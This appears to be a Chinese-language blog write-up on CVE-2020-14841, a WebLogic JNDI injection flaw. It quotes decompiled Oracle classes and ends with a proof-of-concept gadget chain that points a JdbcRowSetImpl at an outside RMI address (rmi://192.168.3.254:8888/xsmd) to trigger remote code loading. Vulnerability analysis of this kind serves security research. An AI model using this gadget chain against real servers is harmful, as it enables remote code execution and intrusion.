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Cve 2020 14841 weblogic jndi注入

cve 2020-14841 weblogic jndi注入

简介

通过diff 升级包中weblogic的黑名单,我们发现新增oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor这个类

LockVersionExtractor 分析

package oracle.eclipselink.coherence.integrated.internal.cache;


import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;


public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
    protected AttributeAccessor accessor;
    protected String className;


    public LockVersionExtractor() {
    }


    public LockVersionExtractor(AttributeAccessor accessor, String className) {
        this.accessor = accessor;
        this.className = className;
    }


    public Object extract(Object arg0) {
        if (arg0 == null) {
            return null;
        } else {
            if (arg0 instanceof Wrapper) {
                arg0 = ((Wrapper)arg0).unwrap();
            }


            if (!this.accessor.isInitialized()) {
                this.accessor.initializeAttributes(arg0.getClass());
            }


            return this.accessor.getAttributeValueFromObject(arg0);
        }
    }

我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径

package org.eclipse.persistence.internal.descriptors;


public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;

    public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
        return this.getAttributeValueFromObject(anObject, (Object[])null);
    }

    protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
        try {
            if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
                try {
                    return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
                } catch (PrivilegedActionException var5) {
                    Exception throwableException = var5.getException();
                    if (throwableException instanceof IllegalAccessException) {
                        throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                    } else {
                        throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
                    }
                }
            } else {
                return this.getMethod.invoke(anObject, parameters);
            }

MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于,只能执行无参的函数,从这点来看,我们很容易的与七月份 cve-2020-14645 联想起来

POC

        // JdbcRowSetImpl
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");

        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
        methodAttributeAccessor.setIsWriteOnly(true);
        methodAttributeAccessor.setAttributeName("UnicodeSec");


        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");

        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);


        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        Field comparatorF = queue.getClass().getDeclaredField("comparator");
        comparatorF.setAccessible(true);
        comparatorF.set(queue, new ExtractorComparator(extractor));

最后更新: 2021-02-19